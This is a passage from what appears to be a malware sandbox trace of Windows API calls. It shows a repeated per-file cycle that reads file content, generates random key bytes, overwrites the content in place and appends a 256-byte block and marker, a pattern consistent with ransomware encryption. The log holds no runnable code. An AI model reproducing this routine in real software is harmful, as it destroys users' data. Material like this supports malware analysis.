dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.959] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.959] WriteFile (in: hFile=0x9d8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.959] WriteFile (in: hFile=0x9d8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.959] GetProcessHeap () returned 0x540000 [0088.959] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.959] CloseHandle (hObject=0x9d8) returned 1 [0088.960] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 152 [0088.960] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.961] ReadFile (in: hFile=0x9dc, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.961] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.961] GetProcessHeap () returned 0x540000 [0088.961] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.961] GetProcessHeap () returned 0x540000 [0088.961] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.961] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.961] GetProcessHeap () returned 0x540000 [0088.961] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.961] ReadFile (in: hFile=0x9dc, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.011] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.011] WriteFile (in: hFile=0x9dc, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.012] GetProcessHeap () returned 0x540000 [0089.012] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.013] GetProcessHeap () returned 0x540000 [0089.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.013] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.014] GetProcessHeap () returned 0x540000 [0089.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.014] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.015] GetProcessHeap () returned 0x540000 [0089.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.016] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.016] WriteFile (in: hFile=0x9dc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.016] WriteFile (in: hFile=0x9dc, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.016] GetProcessHeap () returned 0x540000 [0089.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.016] CloseHandle (hObject=0x9dc) returned 1 [0089.018] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 153 [0089.018] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.018] ReadFile (in: hFile=0x9e0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.018] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.019] GetProcessHeap () returned 0x540000 [0089.019] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.019] GetProcessHeap () returned 0x540000 [0089.019] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.019] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.019] GetProcessHeap () returned 0x540000 [0089.019] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.019] ReadFile (in: hFile=0x9e0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.068] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.068] WriteFile (in: hFile=0x9e0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.068] GetProcessHeap () returned 0x540000 [0089.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.069] GetProcessHeap () returned 0x540000 [0089.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.070] GetProcessHeap () returned 0x540000 [0089.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.071] GetProcessHeap () returned 0x540000 [0089.071] RtlAllocateHeap 